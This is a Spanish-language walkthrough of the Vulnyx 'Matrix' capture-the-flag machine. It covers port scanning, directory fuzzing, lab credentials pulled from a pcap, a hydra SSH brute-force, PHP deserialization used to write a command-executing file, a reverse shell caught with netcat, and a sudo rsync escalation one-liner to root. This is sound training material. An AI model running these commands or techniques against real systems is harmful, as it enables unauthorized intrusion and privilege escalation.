Matrix es una de las máquinas existentes actualmente en la plataforma de hacking Vulnyx, y es de dificultad Medium.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la máquina a vulnerar que en mi caso será la 192.168.0.51
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.51 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 17:40 CET Initiating ARP Ping Scan at 17:40 Scanning 192.168.0.51 [1 port] Completed ARP Ping Scan at 17:40, 0.07s elapsed (1 total hosts) Initiating SYN Stealth Scan at 17:40 Scanning 192.168.0.51 [65535 ports] Discovered open port 80/tcp on 192.168.0.51 Discovered open port 22/tcp on 192.168.0.51 Completed SYN Stealth Scan at 17:40, 0.43s elapsed (65535 total ports) Nmap scan report for 192.168.0.51 Host is up, received arp-response (0.000047s latency). Scanned at 2025-01-30 17:40:07 CET for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:66:00:4B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.64 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutamos nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir más información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80 192.168.0.51 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 17:40 CET Nmap scan report for 192.168.0.51 Host is up (0.00069s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 67:78:c9:d2:e3:ff:be:fc:9e:13:9a:af:9d:59:17:66 (ECDSA) |_ 256 1a:78:b1:e6:f1:f0:d1:b3:ab:c8:3f:95:fd:46:52:67 (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Enter The Matrix |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:66:00:4B (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds |
Accedemos al puerto 80 y viendo el código, nos damos cuenta de una nota sobre un posible archivo pcap alojado en la web.

Seguimos la indicación y hacemos fuzzing con la extensión pcap, encontrando el fichero trinity.pcap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://192.168.0.51 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x pcap ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.51 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [pcap] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 98l 283w 3273c http://192.168.0.51/ 200 GET 986l 4152w 246849c http://192.168.0.51/trinity.pcap [####################] - 18s 220548/220548 0s found:2 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_0_51-1738255368.state ... [####################] - 18s 220548/220548 0s found:2 errors:0 [###########>--------] - 18s 127155/220546 7217/s http://192.168.0.51/ |
Abrimos el fichero con tshark para que visualmente sea más rápido y encontramos, entre otras trazas:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(user㉿sec)-[~] └─$ tshark -r trinity.pcap 3 0.007673 192.168.2.1 → 192.168.2.100 RSYNC 150 Server Initialisation (Version MAND: rsync --daemon /home/smith/file.txt 192.168.2.100:/backup/smith/\nPASSWORD: kT8020e136Z2YLJa2fEZ) 34 0.007866 192.168.2.100 → 192.168.2.1 RSYNC 73 Server MOTD 35 0.008055 192.168.2.2 → 192.168.2.100 RSYNC 148 Server Initialisation (Version MAND: rsync --daemon /home/john/file.txt 192.168.2.100:/backup/john/\nPASSWORD: krGVRU2vCedfwjVZXDrp) 36 0.008242 192.168.2.100 → 192.168.2.2 RSYNC 73 Server MOTD 37 0.008428 192.168.2.3 → 192.168.2.100 RSYNC 150 Server Initialisation (Version MAND: rsync --daemon /home/alice/file.txt 192.168.2.100:/backup/alice/\nPASSWORD: BgUvmyV0OEgEDpMjpJUv) 38 0.008617 192.168.2.100 → 192.168.2.3 RSYNC 73 Server MOTD 39 0.008802 192.168.2.4 → 192.168.2.100 RSYNC 146 Server Initialisation (Version MAND: rsync --daemon /home/neo/file.txt 192.168.2.100:/backup/neo/\nPASSWORD: 2LmQA1WT2Xc4avgGA1yY) 40 0.008985 192.168.2.100 → 192.168.2.4 RSYNC 73 Server MOTD 197 0.053817 8.8.8.8 → 192.168.1.10 DNS 61 Standard query response 0x0064 A zion.matrix.nyx 198 0.054132 8.8.8.8 → 192.168.1.11 DNS 63 Standard query response 0x0065 A oracle.matrix.nyx 199 0.054381 8.8.8.8 → 192.168.1.12 DNS 63 Standard query response 0x0066 A cypher.matrix.nyx 200 0.054675 8.8.8.8 → 192.168.1.13 DNS 67 Standard query response 0x0067 A agentsmith.matrix.nyx 201 0.054919 8.8.8.8 → 192.168.1.14 DNS 69 Standard query response 0x0068 A thearchitect.matrix.nyx 202 0.055165 8.8.8.8 → 192.168.1.15 DNS 65 Standard query response 0x0069 A keymaker.matrix.nyx 203 0.055416 8.8.8.8 → 192.168.1.16 DNS 71 Standard query response 0x006a A nebuchadnezzar.matrix.nyx 204 0.055667 8.8.8.8 → 192.168.1.17 DNS 60 Standard query response 0x006b A neo.matrix.nyx 205 0.055913 8.8.8.8 → 192.168.1.18 DNS 64 Standard query response 0x006c A trinity.matrix.nyx 206 0.056162 8.8.8.8 → 192.168.1.19 DNS 65 Standard query response 0x006d A morpheus.matrix.nyx 172 0.048331 192.168.1.1 → 192.168.1.2 HTTP 1251 HTTP/1.1 200 OK (image/webp) |
Revisamos los usuarios / contraseñas que nos encontramos y usaremos hydra, pero no tenemos suerte por ssh.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ cat users passwords smith john alice neo kT8020e136Z2YLJa2fEZ krGVRU2vCedfwjVZXDrp BgUvmyV0OEgEDpMjpJUv 2LmQA1WT2Xc4avgGA1yY ┌──(user㉿sec)-[~] └─$ hydra -L users -P passwords ssh://192.168.0.51 -I -t64 -f -u Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 21:06:01 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task [DATA] attacking ssh://192.168.0.51:22/ 1 of 1 target completed, 0 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 21:06:06 |
Seguimos con los subdominios pero no vemos nada diferente a la hora de acceder, asi que pasamos al fichero webp del que vemos trazas, para ello , ahora si , abriremos wireshark.

Desde aqui podemos extraer el fichero o revisar las trazas del fichero desde el propio wireshark..
1 – Desde wireshark , hacemos seguimiento de TCP Stream y si bajamos hasta abajo, vemos que nos indica un subdominio.

2 – Podemos extraer el archivo seleccionando la traza y exportándola, de manera que obtenemos un webp, el cual como hemos visto antes tiene un comentario, asi que usaremos exiftool.

|
1 2 3 4 5 6 7 8 9 10 11 |
┌──(user㉿sec)-[~] └─$ exiftool photo.webp ExifTool Version Number : 13.10 File Name : photo.webp Directory : . File Size : 119 kB Vertical Scale : 0 XMP Toolkit : Image::ExifTool 12.57 Description : Morpheus, we have found a direct connection to the 'Mind', the artificial intelligence that controls the Matrix. You can find it at the domain M47r1X.matrix.nyx. Image Size : 800x800 Megapixels : 0.640 |
Añadimos el subdominio al fichero /etc/hosts y accedemos.

Vemos un input donde probamos a poner algo y nos devuelve un mensaje

Antes de revisar el archivo, usamos feroxbuster en busqueda de archivos/carpetas del subdominio.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://m47r1x.matrix.nyx -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -n ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://m47r1x.matrix.nyx 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt] 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 109l 211w 1765c http://m47r1x.matrix.nyx/hoja.css 200 GET 31l 90w 806c http://m47r1x.matrix.nyx/matrix.js 200 GET 89l 240w 3440c http://m47r1x.matrix.nyx/ 200 GET 89l 240w 3440c http://m47r1x.matrix.nyx/index.php 200 GET 58l 66w 519c http://m47r1x.matrix.nyx/messages.txt [#>------------------] - 5s 70708/882200 58s found:5 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_m47r1x_matrix_nyx-1738266230.state ... [#>------------------] - 5s 71122/882200 58s found:5 errors:0 [#>------------------] - 5s 71016/882184 14379/s http://m47r1x.matrix.nyx/ |
Accedemos al fichero encontrado, messages.txt y vemos lo que hemos puesto en el input.

Por otro lado, revisamos el archivo que se menciona, y como su nombre indica, contiene el código que está detrás de index.php.
Este código es el encargado de añadir al archivo messages.txt los datos que insertemos en el input, utilizando la deserialización de PHP para procesar la entrada.

Con burpsuite interceptamos la peticion para saber cuál es el payload que hace la inserción con el flujo normal, dónde:
1 – > numero de argumentos, en este caso message
7 – > numero de caracteres de la palabra message
s -> string
2 -> numero de caracteres de id

Probamos a cambiar message por file para comprobar si podemos cambiar el fichero donde se va a escribir y aunque vacio, se crea el fichero.

El siguiente paso es escribir en un fichero, por ejemplo, 9.phar , la ejecucion del comando id, pero con sintaxis php.

Si accedemos al fichero, vemos que nos da el output del comando

Por lo tanto, pudiendo subir codigo que explota un RCE, nos mandaremos una reverse shell, levantando un servidor con python.

Recibimos la reverse shell y lo primero que hacemos es ver los usuarios del sistema
|
1 2 3 4 5 6 7 8 9 10 11 |
┌──(user㉿sec)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [192.168.0.51] 34522 bash: cannot set terminal process group (490): Inappropriate ioctl for device bash: no job control in this shell www-data@matrix:/var/www/M47r1X.matrix.nyx$ www-data@matrix:/var/www/M47r1X.matrix.nyx$ cat /etc/passwd|grep sh$ smith:x:1000:1000:smith,,,:/home/smith:/bin/bash |
Recordando las contraseñas obtenidas del pcap, usamos la que usaba el usuario smith para escalar.
|
1 2 |
www-data@matrix:/var/www/M47r1X.matrix.nyx$ su amith smith@matrix:/var/www/M47r1X.matrix.nyx$ |
Usamos sudo -l para revisar si tenemos algun privilegio con algun binario como algun usuario, en este caso sera rsync como root.
|
1 2 3 4 5 6 7 8 9 |
smith@matrix:~$ sudo -l [sudo] contraseña para smith: Matching Defaults entries for smith on matrix: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User smith may run the following commands on matrix: (ALL) PASSWD: /usr/bin/rsync |
Accedemos a gtfobins para comprobar que existe una escalada con sudo sobre este binario y asi poder escalar.
|
1 2 3 |
smith@matrix:~$ sudo /usr/bin/rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null # id uid=0(root) gid=0(root) grupos=0(root) |
Y hasta aquí la maquina Matrix de Vulnyx!









